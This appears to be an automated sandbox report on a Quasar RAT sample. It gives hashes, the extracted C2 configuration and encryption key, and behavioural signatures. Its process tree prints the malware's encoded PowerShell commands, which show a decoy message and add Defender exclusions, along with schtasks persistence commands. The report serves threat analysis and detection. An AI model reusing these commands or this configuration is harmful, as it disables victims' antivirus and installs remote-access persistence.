Analysis

  • max time kernel
    126s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    09/01/2023, 14:25

General

  • Target

    58dc62330246d51406746ba6eb9938293cfdddf356e538307f86487da238f4f5.exe

  • Size

    354KB

  • MD5

    8b54bcaf180119658155a1ba2909f082

  • SHA1

    7813044ffe233a79eb5937e6affcfbc365427fc1

  • SHA256

    58dc62330246d51406746ba6eb9938293cfdddf356e538307f86487da238f4f5

  • SHA512

    fb9f1fe603c69a27c1fbf40067be9ef3273a791a40e8f262d98e2c16dcd1c6ecc36f359f1a8119532a078e0ba8f4065dc2ef44a1282d9b2f41578551ab8f6fd8

  • SSDEEP

    6144:XbRHhzisehcChBB6aQaAIybtbJpHgxwkeDBWeSXpU+PtL11J//LbwDJQHgYCBfuB:Xb/Shzn4tbPAGkeLatL11J//LUDaAY2C

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

Office04

C2

192.168.0.125:4782

AeroNaut-25032.portmap.io:25032

Mutex

QSR_MUTEX_e22Aj87Wn2XuKgDxxw

Attributes
  • encryption_key

    s8zrhKuw28Jjzjqpd6lo

  • install_name

    Java.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    JavaStartup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 8 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\58dc62330246d51406746ba6eb9938293cfdddf356e538307f86487da238f4f5.exe
    "C:\Users\Admin\AppData\Local\Temp\58dc62330246d51406746ba6eb9938293cfdddf356e538307f86487da238f4f5.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAegBqACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHEAZAB0ACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAUwBvAHIAcgB5ACAAdABoAGUAIABmAGkAbABlACAAaQBzACAAdQBuAGQAZQByACAAbQBhAG4AYQBnAGUAbQBlAG4AdAAuACAAVABoAGUAIABmAGkAbABlACAAdwBpAGwAbAAgAGIAZQAgAHIAZQBsAGUAYQBzAGUAZAAgAG4AZQB4AHQAIAB5AGUAYQByACEAIABmAG8AcgAgAG0AbwByAGUAIABmAGkAbABlAHMAIAAsACAAcABsAGUAYQBzAGUAIABjAGgAZQBjAGsAIABtAHkAIABkAGkAcwBjAG8AcgBkAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHQAbABmACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:304
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAZgBzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHYAaQBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHUAaQB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAeABrACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:932
    • C:\Users\Admin\AppData\Local\Temp\Client-built.exe
      "C:\Users\Admin\AppData\Local\Temp\Client-built.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:820
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks" /create /tn "JavaStartup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Client-built.exe" /rl HIGHEST /f
        3⤵
        • Creates scheduled task(s)
        PID:668
      • C:\Program Files (x86)\SubDir\Java.exe
        "C:\Program Files (x86)\SubDir\Java.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1996
        • C:\Windows\SysWOW64\schtasks.exe
          "schtasks" /create /tn "JavaStartup" /sc ONLOGON /tr "C:\Program Files (x86)\SubDir\Java.exe" /rl HIGHEST /f
          4⤵
          • Creates scheduled task(s)
          PID:2012

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Program Files (x86)\SubDir\Java.exe

    Filesize

    348KB

    MD5

    c1c21a2fdc2f99f98c91ce2d1219cd96

    SHA1

    5bdd5bf45b0e809d4fa4e2c99ddb5c175adb0ce8

    SHA256

    0b443bb044df9d13646f3a96d07270f1ad791e94e30c94f341e5dcdc2fb853b2

    SHA512

    3b8299f2447ee1586133032157a2424b408352d5a38b36f727b706e97ea5bbbab9e60bed84b93a37459ad9e0b2edd5440c607c7f4cff4090b4a05afbe2bf77bf

  • C:\Program Files (x86)\SubDir\Java.exe

    Filesize

    348KB

    MD5

    c1c21a2fdc2f99f98c91ce2d1219cd96

    SHA1

    5bdd5bf45b0e809d4fa4e2c99ddb5c175adb0ce8

    SHA256

    0b443bb044df9d13646f3a96d07270f1ad791e94e30c94f341e5dcdc2fb853b2

    SHA512

    3b8299f2447ee1586133032157a2424b408352d5a38b36f727b706e97ea5bbbab9e60bed84b93a37459ad9e0b2edd5440c607c7f4cff4090b4a05afbe2bf77bf

  • C:\Users\Admin\AppData\Local\Temp\Client-built.exe

    Filesize

    348KB

    MD5

    c1c21a2fdc2f99f98c91ce2d1219cd96

    SHA1

    5bdd5bf45b0e809d4fa4e2c99ddb5c175adb0ce8

    SHA256

    0b443bb044df9d13646f3a96d07270f1ad791e94e30c94f341e5dcdc2fb853b2

    SHA512

    3b8299f2447ee1586133032157a2424b408352d5a38b36f727b706e97ea5bbbab9e60bed84b93a37459ad9e0b2edd5440c607c7f4cff4090b4a05afbe2bf77bf

  • C:\Users\Admin\AppData\Local\Temp\Client-built.exe

    Filesize

    348KB

    MD5

    c1c21a2fdc2f99f98c91ce2d1219cd96

    SHA1

    5bdd5bf45b0e809d4fa4e2c99ddb5c175adb0ce8

    SHA256

    0b443bb044df9d13646f3a96d07270f1ad791e94e30c94f341e5dcdc2fb853b2

    SHA512

    3b8299f2447ee1586133032157a2424b408352d5a38b36f727b706e97ea5bbbab9e60bed84b93a37459ad9e0b2edd5440c607c7f4cff4090b4a05afbe2bf77bf

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    09491f53829b6a3bab13fb0e98fab068

    SHA1

    815480a0cf434ac34ddd7bc031066ed14687395c

    SHA256

    257644182d9199a83598c76c73f9418ad4697c585e3192fedaaee8332710cc23

    SHA512

    dd487a30ad1fe189b9fc4cbc4db2df23c0ecc0b259f5c3209c1ba85f8646f1c615ca0a2567af1dfe5efccae8227b4eb592aca7b9b9a3668dc7ccfa3e54e81adc

  • \Program Files (x86)\SubDir\Java.exe

    Filesize

    348KB

    MD5

    c1c21a2fdc2f99f98c91ce2d1219cd96

    SHA1

    5bdd5bf45b0e809d4fa4e2c99ddb5c175adb0ce8

    SHA256

    0b443bb044df9d13646f3a96d07270f1ad791e94e30c94f341e5dcdc2fb853b2

    SHA512

    3b8299f2447ee1586133032157a2424b408352d5a38b36f727b706e97ea5bbbab9e60bed84b93a37459ad9e0b2edd5440c607c7f4cff4090b4a05afbe2bf77bf

  • \Users\Admin\AppData\Local\Temp\Client-built.exe

    Filesize

    348KB

    MD5

    c1c21a2fdc2f99f98c91ce2d1219cd96

    SHA1

    5bdd5bf45b0e809d4fa4e2c99ddb5c175adb0ce8

    SHA256

    0b443bb044df9d13646f3a96d07270f1ad791e94e30c94f341e5dcdc2fb853b2

    SHA512

    3b8299f2447ee1586133032157a2424b408352d5a38b36f727b706e97ea5bbbab9e60bed84b93a37459ad9e0b2edd5440c607c7f4cff4090b4a05afbe2bf77bf

  • memory/304-57-0x00000000737A0000-0x0000000073D4B000-memory.dmp

    Filesize

    5.7MB

  • memory/304-69-0x00000000737A0000-0x0000000073D4B000-memory.dmp

    Filesize

    5.7MB

  • memory/820-65-0x0000000000170000-0x00000000001CE000-memory.dmp

    Filesize

    376KB

  • memory/932-67-0x00000000737A0000-0x0000000073D4B000-memory.dmp

    Filesize

    5.7MB

  • memory/1088-54-0x0000000074C91000-0x0000000074C93000-memory.dmp

    Filesize

    8KB

  • memory/1996-74-0x0000000000010000-0x000000000006E000-memory.dmp

    Filesize

    376KB